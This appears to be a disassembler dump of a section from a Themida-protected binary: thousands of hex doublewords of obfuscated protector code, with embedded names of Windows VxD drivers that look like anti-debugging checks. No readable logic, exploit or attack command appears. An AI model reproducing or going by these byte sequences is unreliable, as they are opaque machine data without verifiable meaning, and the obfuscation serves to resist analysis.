7068D85h, 0CD85C606h, 60709h dd 719585C7h, 60Ah, 858D0000h, 60A86EEh, 0B88389h, 335D0000h dd 0E9F8C3C0h, 0Fh, 8F5453AAh, 0E8CFD6E1h, 0DA6D8E72h dd 0F9EDEE59h, 0B509FC60h, 60712C5h, 0FF74BC61h, 6A0012h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0F9C308C3h, 8F64FCF5h, 5, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8D9D89E1h dd 8906070Eh, 707CD85h, 4C48306h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 28C35646h, 603C2E0Ch, 0CE960h dd 43F80000h, 98C174B8h, 92FA3006h, 0BE61CA8Ch, 55281E4Bh dd 34EB6161h, 4D534649h, 20205247h, 20444B56h, 20202020h dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h dd 20205244h, 3 dup(0) dd 847E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 5055478Ch, 0FF7E2FAEh, 6060D73Eh dd 6D35F781h, 0BB66590Eh, 0C76156A8h, 0A87A985h, 6, 9E900h dd 0B25D0000h, 0F42F84F8h, 8B75BBC9h, 0DE9C6h, 0C7320000h dd 345203D9h, 0AD830398h, 0F78BB96h, 13E9D8B7h, 2000000h dd 48334170h, 0C358753Bh, 0CF70F089h, 5B9550E2h, 14E9A2DCh dd 98000000h, 2BDD4CD4h, 0E749DB91h, 9260734Ah, 52DE4ECAh dd 0C1AB2681h, 870F10E8h, 13h, 0D890Fh, 8E90000h, 0DF000000h dd 806051E9h, 660460F5h, 0E908C8C1h, 8, 7B562233h, 69FB7E13h dd 10E9F860h, 19000000h, 676C82A4h, 2EF93C46h, 0E8BA0E07h dd 613EB4B7h, 87AD8589h, 8B0F060Ah, 1, 0CBC166F5h, 52006A08h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0FB8316A3h, 69850F40h, 0E9000000h, 13h, 8ADAA4B1h, 2A7E60EFh dd 8CE5F80h, 8332ECD5h, 603EAC12h, 0BD8D61F8h, 60A8781h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 5AC35242h dd 98A0F32h, 60000000h, 8C0FF8h, 61000000h, 219E9h, 0E960F900h dd 7, 81624F0Eh, 0FF62FD6h, 28Dh, 61595300h, 0F0DFB83h dd 8185h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 3779A661h, 0BEFE2EBEh, 0C8D0Fh, 7E90000h dd 0EF000000h, 0DA3B5748h, 6E985E7h, 9A000000h, 0CC82443Eh dd 89BD8DFDh, 60060A87h, 1A2118B9h, 5851602Fh, 61616160h dd 14850Fh, 0FE90000h, 3D000000h, 0DF45450Bh, 54CDD5CBh dd 7899A551h, 87E90463h, 0E9000001h, 0Ah, 2A595E95h, 0E59ACE81h dd 0FB8371BCh, 0B3850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F205C355h dd 0D1CEC658h, 91BD8D89h, 6A060A87h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 17A3C350h dd 60B9B204h, 0C8B960FCh, 807FA62Bh, 616153F6h, 16850Fh dd 11E90000h, 9000000h, 0EAD2BE9h, 362576E0h, 0F9E59928h dd 0B34E19E5h, 1800Fh, 0E9FC0000h, 0F2h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0DC35747h, 6C16F223h dd 11E9h, 180E1500h, 9B4E315Bh, 58ACF4A4h, 0CD0A29F0h dd 0FB836CC3h, 76850F2Ah, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2499C353h dd 5B73FD3h, 8DF8ECE1h, 0A8799BDh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D4675A68h dd 0F8CD25Dh, 784h, 18A0F00h, 0F5000000h, 55E9h, 0D38B6000h dd 0FE9h, 9A910800h, 48E4C6DEh, 0B2B5B2h, 21190EC4h, 27FB8361h dd 378850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 1D376EC3h, 657AD2Ah, 0BD8DF905h dd 60A87A1h, 55B860F8h, 0B663C654h, 0BD896178h, 60A87B1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 44C35646h dd 681324Ah, 0E5482D9Fh, 8C66F8F9h, 57006AC8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 6A0324D7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 66EDC353h, 0D5898E96h, 850FC00Ah, 225h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E8C35545h, 1800Fh dd 8DF90000h, 0A8EE8B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B473FA3h, 0A8F8785h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 7E1DE3D1h, 8B6660DDh, 0E95061D9h, 0Fh, 81665E58h dd 0D1809CF2h, 0E34C526Bh, 8935616Eh, 6E92414h, 0A0000000h dd 0C840AEDBh, 4C010FF1h, 5AFCFE24h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0A5C35343h, 1B051D9h, 0EF721BCAh dd 0C283F598h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 4DA4D2A5h, 0B929317Ch dd 72896678h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0F371EE55h, 0CA816660h, 0AE8B817h dd 0C2000000h, 0DC4FA80Ah, 7D3D5CD6h, 59E58ACDh, 10CEC161h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h dd 0F66AD793h, 7D9EB87Dh, 0E95160D0h, 0Ch, 0DA602B86h dd 786A591Eh, 526206DAh, 61AFB35Bh, 2728966h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DCC35040h, 4D6C90CBh dd 0BE9h, 229C3400h, 93060D19h, 0AFD03369h, 83C78060h dd 12E9h, 480D7300h, 1E3F2445h, 64B19E24h, 937735C3h, 61E0E008h dd 6A04CDh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 3AB423C3h, 0E97DFCF8h, 5, 0A2061A7Eh, 9E9607Ah dd 60000000h, 2AE0F27Dh, 20E04872h, 0BE9h, 0D94AD500h dd 4FFCA228h, 0CA5BFB00h, 0A4E961h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0D258EEC3h dd 87858BF9h, 60060A8Fh, 0C164B966h, 5E9h, 0F2DA7C00h dd 8D612B47h, 0A8EE8B5h, 17820F06h, 0F000000h, 118Bh, 0CE900h dd 0D4AE0000h, 0ECE8D98Ah, 445B9DD7h, 858D1A49h, 60A4817h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3AC35141h dd 0A2770E3Ah, 8F0F3EC1h, 0Bh, 0C8F28160h, 6624A22Ah, 0FF61C78Bh dd 0CE9D0h, 463D0000h, 0DEA1AEEAh, 2A0EF7C3h, 8589B970h dd 60A87A9h, 6E960h, 63450000h, 76A2AAC3h, 0CE9h, 0DE5B500h dd 0FB29B31Ah, 9D2C6832h, 606161D2h, 0FF1D281h, 0E7817849h dd 3F09136Ch, 0A9858B61h, 6A060A87h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1CEFC357h dd 0E9F0DEBCh, 6, 8D91A5D9h, 6AC3813Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 16C2C357h dd 22D0307Ch, 800FAE05h, 7, 18B0Fh, 60FC0000h, 88A0Fh dd 8C0F0000h, 2, 0BD836160h, 60A8F87h, 4A850F00h, 0F9000000h dd 8F8785C7h, 13F060Ah, 6A0001h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0E9BD7DC3h, 7, 0D5B56731h dd 0E993A797h, 11h, 1D7D8DAFh, 0E319F0E8h, 0C09DBA65h dd 8E53C4F3h, 32E99Ch, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0E10109C3h, 0B43F5A50h dd 5E57F960h, 60606061h, 61CA8A61h, 61F78B66h, 20CDh, 0C00B0000h dd 708D3774h, 0B1BD8B0Ch, 0B9060A87h, 8, 492275A6h, 488BFA75h dd 0AD9D8B30h, 3B060A87h, 157F3458h, 0D26BD38Bh dword_575774 dd 8BCA0304h, 0A9858901h, 0EB060A87h, 0EB008B04h, 858B61C5h dd 60A87A9h, 0AE9CFh, 974E0000h, 0CE10A656h, 5302C33Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 55C35242h dd 9CE8E95h, 3D35C1DBh, 0BE8C08Bh, 18000000h, 959BE513h dd 8B892C74h, 0BE91466h, 63000000h, 1AAD7FDAh, 8885D5D3h dd 0B958A2E5h, 4AEEE4C7h, 6D9AC081h, 0BE0000h, 8B000000h dd 634FFCEh, 5AFBB70Fh, 8D4AEA81h, 816676CAh, 8143EDEFh dd 9D5F88F2h, 1820F38h, 0F5000000h, 9140C281h, 0DF804327h dd 0F60525Ch, 61F8FABFh, 0F30048Fh, 688h, 0AED18100h, 0F29A889h dd 286h, 83FB8B00h, 4EF902EEh, 0FBBF0F4Eh, 9320FE81h, 850FFFFFh dd 18h, 0E9CA8B66h, 2Dh, 794AF562h, 62E16383h, 0A01D4593h dd 0FAC0CE87h, 397C8EBBh, 0FF83E974h, 0F7B9FFFFh, 0C8A42F34h dd 27A4DC05h, 0C2318729h, 0C4EC879Eh, 0CE8BAh, 0F0D10000h dd 97408328h, 0B7215B68h, 8E804C7h, 5C000000h, 7A1B5288h dd 5E12889Ch, 9DC18159h, 0F500005Ch, 16E868h, 13E900h dd 0AC9D0000h, 0E70B87D3h, 12EA722Ch, 7C8B4FADh, 931AEDD7h dd 0E960583Dh, 7, 0AF39C932h, 0E8AB0340h, 10h, 786E8808h dd 4149BD9Eh, 5BDB5BCAh, 26BE1EAh, 2B19D7BFh, 0FF615E77h dd 5E96031h, 45000000h, 2575E63Ch, 5A61C78Bh, 81DE8B66h dd 31B04FF2h, 5FCB8164h, 817253BFh, 970B6EAh, 0F281F84Fh dd 53C23AA1h, 8FFA8B52h, 3820F01h, 80000000h, 0E98336F3h dd 49F38B02h, 0CE96049h, 0CD000000h, 4C57C3FEh, 0DC8AE976h dd 60FD6DC3h, 8A41DA80h, 816161D9h, 1E8h, 0A850F00h, 0E9000000h dd 2Bh, 95387CDEh, 12E973h, 120D0000h, 69DB7146h, 0CCDC2D2Bh dd 23B35497h, 4349AFF8h, 0FFFF72E9h, 42C614FFh, 49BEEDFh dd 0E9E067F6h, 148h, 50h, 54h, 58h, 5Ch, 60h, 64h, 68h dd 6Ch, 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh dd 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0) dd offset dword_575774+27Ch dd 9F50EBh, 91D1858Dh, 0F60060Ah, 0A81h, 5E900h, 0E3410000h dd 8B65698Dh, 71F599Dh, 85896106h, 60A9311h, 1A4D8589h dd 85C60607h, 60709CDh, 0BE954h, 0B6240000h, 0F89CCA58h dd 8BB4727Eh, 4E8E3h, 68290000h, 0F50EE62h, 38Eh, 0FB8B6600h dd 0C88B505Ah, 424448Bh, 20B3B0B9h, 0BA008B75h, 43E3D18Bh dd 4244489h, 0AE953h, 0BAC90000h, 0A3DD5469h, 0AD353130h dd 8D89585Eh, 6071F75h, 0D99B5FFh, 55B60607h, 7038858Dh dd 0BF0F060Ah, 80D0FFD2h, 8589BFF1h, 60A9315h, 7E8h, 8AAA100h dd 5CD4E811h, 1F698501h, 0E9590607h, 42h, 1BCE80F9h dword_575B94 dd 11B58B56h, 89060A93h, 11858306h, 4060A93h ; DATA XREF: Themida_:0053D33Co ; Themida_:0053EB40o ... db 5Eh, 0C3h word_575BA6 dw 8D60h ; DATA XREF: Themida_:0053F2C4o dd 0A91D1B5h, 560FEB06h, 36FF006Ah, 931595FFh, 835E060Ah dd 3E8304C6h, 61EC7500h, 0BDB58BC3h, 66060707h, 0F8BD5BAh dd 858DD3BFh, 60A93E7h, 858BF560h, 6070535h, 5858961h dd 0E906072Bh, 0E5h, 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh dd 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h dd 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h dd 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h, 33537520h dd 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h, 0F360D650h dd 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh dd 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 0E0A1E35h, 66C1A800h, 0F2FD54A7h, 29BB7643h, 0BD3E913h dd 81680000h, 0E9060A97h, 0FFFCE863h, 0A983968h, 0E859E906h dd 0E468FFFCh, 0E9060A98h, 0FFFCE84Fh, 0A99CD68h, 0E845E906h dd 5668FFFCh, 0E9060A9Ah, 0FFFCE83Bh, 0A9AE968h, 0E831E906h dd 2468FFFCh, 0E9060A9Ch, 0FFFCE827h, 0A9D3A68h, 0E81DE906h dd 168FFFCh, 0E9060A9Eh, 0FFFCE813h, 0A9ED168h, 0E809E906h dd 8068FFFCh, 0E9060A9Fh, 0FFFCE7FFh, 4ADF76A7h, 43D877A3h dd 3ED36E9Ch, 38CD6897h, 2EC35E91h, 8DC07B93h, 8BB85FF4h dd 84B65DF2h, 85B55CF1h, 22905DF2h, 995DC334h, 25F70E43h dd 0A246A225h, 8E4DA212h, 0D473A3A4h, 0DC79A62Dh, 0EA7BAE35h dd 0F48DBC43h, 60D1BF4Dh, 0AB49A33Bh, 1B2560D8h, 72BC4F1Bh dd 0D7443ABDh, 34629A4h, 0F68F36D1h, 3A6A6B55h, 0B53D069Bh dd 0CF3927BDh, 0A47A233h, 0D9099037h, 0D202A93Eh, 0D87F1245h dd 0E47DB03Fh, 0FFDAD43h, 439C339Eh, 132C16E9h, 9C33D947h dd 0EC3AF343h, 0ADAB1242h, 0DBE29910h, 6F16AB4Ch, 7A01A83Fh dd 9215AB4Ah, 94CE12AAh, 0F912FCADh, 97818F48h, 13B2E267h dd 9D32D36Ch, 0E0513FEFh, 2B439C4Bh, 0C0156E58h, 1A1FB666h dd 4C0h, 2CA2257Eh, 0F6BD2C94h, 0CAFAFBE5h, 0F7E5952Bh dd 49A38386h, 0FB14FED1h, 1CB14474h, 3DD3CB53h, 0A299A54Fh dd 0E68D6047h, 9C69AD1Ah, 29F7DA43h, 0B6452EA7h, 2915981Fh dd 0BD2E1C98h, 8439CE2h, 0D3AFCC35h, 33392D17h, 9D000000h dd 6E9C820Ah, 0AE9C32D3h, 47A3012Ch, 6BEE8457h, 5B94CC32h dd 0D0E9D31Eh, 0CB669942h, 5BA18B24h, 439C9AEEh, 0E8EE381Bh dd 1FB616EDh, 0EEEFh, 0FC2C5300h, 83BC269h, 8F38C66Dh dd 12ADDB5Ch, 56868771h, 78A18BFh, 52130333h, 0D1D2BC6Eh dd 50E918A1h, 447019AFh, 7F6902A9h, 0D8CE8C78h, 427249A3h dd 38640DA3h, 735DF69Dh, 0E515BE6Ch, 2812AB52h, 0CA60F727h dd 0D8BB2C1Ah, 330649A3h, 37DE77A4h, 0D9BB49Eh, 0D7FE6F5Dh dd 764949A3h, 0E466820Dh, 12FC6694h, 528167EFh, 928016B7h dd 47A22B58h, 860D3CE5h, 811AC154h, 3BFCF6E0h, 0B4E1700Fh dd 1AE37819h, 0E97CAC92h, 17C4B248h, 0E241945Dh, 0B354EF21h dd 0B041741Dh, 0B041741Bh, 7DE5C0DAh, 42C3F2F0h, 8E2h dd 46DB7AABh, 3FD4739Fh, 3ACF6A98h, 34C96493h, 32C75A8Dh dd 91C47F97h, 97C46B00h, 90C269FEh, 89B960F5h, 1E8C59EEh dd 995BBF30h, 21F30A43h, 4E7AF92Ch, 0CE6F08AFh, 0CA5D8F38h dd 232D9E0h, 0A5CCE63h, 6F48A82h, 47A30184h, 6935DCAFh dd 439CE0FCh, 0F6F84629h, 1FB5D0DFh, 97FDh, 91A22500h dd 8EE9B5ADh, 2C5B2711h, 3BC269FCh, 38C66D08h, 0A8D6638Fh dd 3C826C0Dh, 49A3EF7Eh, 0BE53F222h, 0A950E717h, 0EA807800h dd 0A2FFC2FCh, 6A9C5D47h, 0F69730D7h, 18109861h, 348C9482h dd 0F0C34195h, 0E37EB15Ah, 0E174A74Eh, 7C8D8F0Bh, 43C4F3F0h dd 82Ah, 8E23C2F3h, 871CBBE7h, 8217B2E0h, 7C11ACDBh, 7A0FA2D5h dd 0D90CC7DFh, 0DF0CB348h, 0D80AB146h, 0D101A83Dh, 66D4A136h dd 995A0778h, 693B5243h, 0D368F92Ch, 4AA1FC2Ch, 701C0C75h dd 5CCE6304h, 0E90DA225h, 0E7E4A739h, 44CCFCFDh, 0A358E556h dd 60FB2949h, 0C59820B9h, 0C6F67D24h, 0FF059A2Fh, 43D9D159h dd 0A25FAB55h, 0C936647h, 0D47B7D00h, 0B038BB8h, 0DDB18775h dd 0F9CC42D2h, 2921A952h, 1BBAEA93h, 0C63B2931h, 0E13CC6FDh dd 0DAC8780Eh, 38C25D69h, 0EFF7E1B4h, 0EA7F1646h, 9E741343h dd 0EC8DD678h, 7F1293C2h, 48000007h, 42E97E17h, 3BE27716h dd 36DD720Dh, 32D96E07h, 36D166FFh, 9530631Eh, 912C5900h dd 902355FCh, 912454FBh, 0D3C12FFCh, 43995A62h, 2CC496ADh dd 34C269FCh, 7BC21BB1h, 0DEC88A86h, 0A53B33BBh, 0A20AE9B7h dd 4CE1B447h, 8F00EE9Eh, 0CC439BEAh, 9BEA6DDEh, 5DE5B843h dd 0EA36A795h, 0AE81439Bh, 7800230Dh, 8A3AEA80h, 9BEA2B9Ch dd 0B9A37643h, 95750473h, 0E2784B41h, 0D96E0939h, 0BC630232h dd 73A58B13h, 0F9A93FE0h, 54EA5B49h, 62353D91h, 556DDECCh dd 0E5B83D91h, 0E12BB5FBh, 93663B8Ah, 962654FDh, 86C137A8h dd 0EAF8237h, 0DCE4CE67h, 0CE640333h, 0B55CF725h, 2798861Ch dd 723786C1h, 7AEB59Fh, 1AA40D7h, 7D184BD4h, 0B29C35DCh dd 7068F099h, 0C03EECDAh, 36093585h, 48702C60h, 0EE6F9EE4h dd 696h, 2972E5Fh, 0FB902F5Bh, 0F68B2654h, 0F085204Fh dd 0E67B1649h, 4578334Bh, 437017ACh, 3C6E15AAh, 3D6D14A9h dd 0DA4815AAh, 99597BECh, 0DDAFC643h, 16877525h, 6149A3F2h dd 0F981A48Eh, 0CF19A39h, 2A3467Bh, 0E613BC6Ch, 0ED8E2959h dd 7DC3AD46h, 479D41FBh, 14BD5326h, 11AA51E4h, 5C7AECA8h dd 76601238h, 0E715BE6Eh, 3161624Ch, 2A5A0196h, 0B33BE48Bh dd 693725BBh, 34419893h, 3C298B61h, 3A69F07Dh, 60DB9h dd 10A5D600h, 0DA8D47Bh, 8A3D178h, 49DCC73h, 0FC95C86Fh dd 0F9B4CC67h, 0EF962BC6h, 0E78E23C2h, 0E68D22B5h, 0BD8A1FB6h dd 57F0614Fh, 243B4399h, 8A820A52h, 7D9706F4h, 0BDE479Dh dd 99CCC75h, 0A9DCD74h, 19CCB74h, 0BED7C15Ah, 0FF958D15h dd 92E98711h, 59EFC241h, 0CBF780B0h, 0FA9D5A64h, 1CBDE491h dd 0A53BDC75h, 949607F5h, 0EE13D8Eh, 46761D24h, 0D75F08AFh dd 74A049DFh, 0AF9932D9h, 930BB9A7h, 3D63B8Dh, 7023C52Dh dd 4DCEFDEEh, 57Ah, 0DE731243h, 0D76C0B37h, 0D2670230h dd 0CC61FC2Bh, 0CA5FF225h, 295C172Fh, 2F5C0398h, 285A0196h dd 2151F88Dh, 0B624F186h, 995857C8h, 0B98BA243h, 0D369FC2Ch dd 0B960FD2Ah, 0F2CC3D2Bh, 441749A3h, 12A0B9A3h, 0ECFB8A8Fh dd 70A031E6h, 494A34D5h, 20E97E19h, 1C0AA098h, 47A2C572h dd 25B35A2Dh, 65D2E1A2h, 2D17C77Fh, 9CD27AE7h, 7AC4A743h dd 0B5DC6174h, 507B1Fh, 25DF0000h, 0CBB5507Ch, 922820A8h dd 0A30122A4h, 0E6B24D47h, 378E52EAh, 0D7E6C02h, 58439CC6h dd 0A54EE485h, 5947DD78h, 439CC5E8h, 5D766033h, 0C0311FCFh dd 4439CC5h, 0FD963DD8h, 72B8A275h, 439CC505h, 0FFC14F32h dd 1FB5ECD6h, 0AB04h, 0FC2C6800h, 83BC269h, 0F3FC66Dh dd 21C25B8Ah, 24C3F37Ah, 0C38E18Fh, 83418771h, 2049A3EFh dd 0C6B04777h, 6D0295C5h, 58FF96C6h, 992F27AFh, 781140E9h dd 0CF5A488Eh dd 0E4A547A2h, 0E57A1BB6h, 69C941Ch, 95218818h, 0EB18C141h dd 2812AB52h, 1CC55B2Eh, 19C258E9h, 0CEBC52EDh, 3D93115Dh dd 0E4EBD5A8h, 0A1770A3Dh, 0F07CA243h, 3FC74877h, 8000004h dd 2A93ED7h, 0FBA237D6h, 0F69D32CDh, 0F2992EC7h, 0F69126BFh dd 55F023DEh, 51EC19C0h, 50E315BCh, 51E414BBh, 9381EFBCh dd 43995622h, 2C84566Dh, 2CD368F9h, 62D469FCh, 0B5507C25h dd 688B750Eh, 6452E8E0h, 47A300E2h, 0C7933A0Dh, 439CE05Ah dd 0A59AA487h, 9037CAFCh, 0C7F68EF7h, 8516095Ah, 2F93429Bh dd 0E6491FB6h, 71000000h, 12FC95C8h, 7BFC2C46h, 770DAE49h dd 1F099CCEh, 0F14C7F06h, 92AFDDC7h, 6157F4F1h, 0E33096FFh dd 12A047E8h, 0B04CCE8Fh, 0C157B127h, 0A33062D3h, 0F0DAAD49h dd 0A32CECAAh, 0C5609049h, 0F6598930h, 0F57ACF7h, 0A198BF26h dd 27C55DC6h, 7705AC4Dh, 7605A0CEh, 6E07AE47h, 0E1D96184h dd 756F5D4Bh, 0E7BA47A2h, 0CEFBA452h, 0CFA882Fh, 439C659Bh dd 887213E6h, 2F0DD65h, 439C6591h, 0D26809DCh, 0EE0A884Fh dd 1903425Bh, 1E7E2311h, 66394195h, 61F427D0h, 93C66F77h dd 93C66D02h, 0A0282C02h, 0BBEAF07Ch, 3293Ah, 24C1F200h dd 21BCE88Fh, 1CB7E58Ch, 18B1E087h, 18A9DC83h, 15D0E883h dd 13BA4FE2h, 0BB247E6h, 2A93ED9h, 0D19E33D2h, 55047563h dd 384F4399h, 68F92C66h, 7BFC2CD3h, 7C11B24Dh, 507C250Ah dd 0BAD0EB5h, 33446B4Eh, 679A29CAh, 0A48E27CEh, 0E50C73A3h dd 9149856Ch, 0B455F023h, 0B5E56C13h, 0CC6D0834h, 0C75A8D36h dd 969D8720h, 0D94A38E8h, 2449A330h, 0F392C251h, 66E81A09h dd 0A050E6DEh, 852CCBF7h, 12BC02ECh, 0CD47A237h, 8CBB64FAh dd 9435D003h, 716A54EDh, 0C94F6065h, 0F2EA72DFh, 0BEAC6E5Ch dd 84579D65h, 0B4AC34DDh, 0CEBB301Eh, 3D69759h, 194C46Dh dd 295C56Ch, 2280222Ch, 60E1104Ah, 262h, 0C65BFA2Bh, 0BF54F31Fh dd 0BA4FEA18h, 0B449E413h, 0B247DA0Dh, 1144FF17h, 1744EB80h dd 1042E97Eh, 939E075h, 9E0CD96Eh, 99543FB0h, 0A1738A43h dd 0D369FC2Ch, 755FFE2Ah, 452BB35Ch, 49DF8013h, 0A2EC6D5Bh dd 0CFAAA47h, 439CEC9Bh, 6C13B2DFh, 8E784BD3h, 427AF994h dd 16416EECh, 8232E075h, 9C372394h, 1726043h, 4C439C37h dd 341EF179h, 7F28B345h, 0A7CAB453h, 0A391271Fh, 419B3DF9h dd 4E5AE1B4h, 0F10B4F95h, 0F1877F07h, 9EBDBA6Eh, 1600EB18h dd 0DB4A200Eh, 0A4657F05h, 973EDF72h, 0D86E66EEh, 0F9FB75EAh dd 27BD9078h, 9CC94E7Eh, 26B6C439h, 8A9526Dh, 0F528D167h dd 321CB55Ch, 0C154842Bh, 0C2F67FEBh, 93144328h, 192h dd 0F68B2A5Bh, 0EF84234Fh, 0EA7F1A48h, 0E4791443h, 0E2770A3Dh dd 41742F47h, 47741BB0h, 407219AEh, 396910A5h, 0CE3C099Eh dd 99546FE0h, 0D1A3BA43h, 0C269FC2Ch, 3999119h, 0DD78AA53h dd 123ADF3h, 8B5E47A3h, 249861F6h, 0F184B69Ch, 0E311BA50h dd 1E08A148h, 0E87E2816h, 6639419Bh, 60F727D0h, 20717D76h dd 0C2F5077Ch, 0FCAC423Ah, 0A2EB9D0Eh, 2B15E884h, 0EE5F3523h dd 0A77A82A1h, 0BB948E11h, 0A5B76DB4h, 71F9A2BBh, 80F5E379h dd 9B7C9559h, 598932C8h, 0CB7B29BEh, 90B96CDDh, 0FAE4B778h dd 582EC9F9h, 2D7F7DE2h, 0E328A9D8h, 0AC000000h, 0AE55EA7Bh dd 0A74EE382h, 0A249DE79h, 9E45DA73h, 0AA45DA6Bh, 11A4D792h dd 0DA8D57Ch, 49FD178h, 0FD98C86Fh, 3F2D9B68h, 439953CEh dd 2C300219h, 0B04F7BFCh, 28CF7009h, 69FFF77Fh, 0A304297Bh dd 8C21F447h, 720535DEh, 1DDD6588h, 42713EF1h, 0D583EC33h dd 0C35BC151h, 0A34CE283h, 0AC33DA75h, 5D47E879h, 0CAFCA555h dd 61F79037h, 9CB80273h, 907A4D43h, 9643E34Ah, 0A0471A41h dd 0B94EE919h, 9C43E212h, 0B5398ED0h, 0D462F54Ah, 0F28BBA63h dd 40D70708h, 44D401AAh, 6F08E556h, 0BC5D3028h, 48137C15h dd 7DDF2EB2h, 6F161D07h, 6212A83Fh, 6F0C0374h, 917B4E28h dd 39C2F178h, 24CB6C07h, 78A670B9h, 7118AD48h, 6710A641h dd 5CF59C3Bh, 0C67D8C6h, 0DFB2286Fh, 35BDCF5h, 0D1000000h dd 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h dd 3314h, 68240489h, 31B9h, 68241C89h, 5D98h, 68241489h dd 60A9585h, 4EC835Bh, 81242489h, 42404h, 535A0000h, 7E242C81h dd 8F074F2Eh, 42810842h, 4F2E7E08h, 2434FF07h, 4C4835Ah dd 5B2434FFh, 4C481h, 0A8E90000h, 34FFFCDCh, 41158113h dd 929CC49Eh, 86AB764Eh, 0A088B847h, 0C503060Ah, 0AF11E0FFh dd 11DD6080h, 6EDE3F41h, 0B4A73789h, 4BEB77A1h, 2F0E0910h dd 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h dd 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 2E00A6DBh dd 1A0046E1h, 0D5A3EAh, 9C000000h, 0FEC819h, 0FBFE4800h dd 28000000h, 0D427E641h, 0E9C3727Dh, 0BE7h, 6800Fh, 0BD290000h dd 607029Dh dword_576920 dd 19BDBD83h, 0F000607h, 3A85h, 51958B00h, 0B806070Ah ; DATA XREF: Themida_:0053E224o dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h dd 81B83829h, 7C6186EBh, 4C26Ch, 1830Fh, 8BF80000h, 0CDBD83C0h dd 6071Ah, 0BD830975h, 6071135h, 50137400h, 0B8C08B53h dd 4D0h, 0AB949D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h dd 50117400h, 4D0B853h, 9D8D0000h, 609AAE1h, 585BD3FFh dd 6ADA8B66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 34B7C350h, 0CD9D896Fh, 8B060704h dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 9F21B312h, 48858D9Eh, 6A060AA1h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 6F3C356h, 0B96650A9h, 4899548h, 0DE824h, 0F78B0000h dd 375A5866h, 1AB8B9E9h, 0BB257BF0h, 58A5FE7h, 5858D5Fh dd 0E9060AA1h, 12h, 0A6190D2Ah, 0AF1F4FE1h, 9EE60716h dd 44D837C3h, 0BB900CF4h, 69E27779h, 8B525050h, 0E8310FD8h dd 9, 5D27D830h, 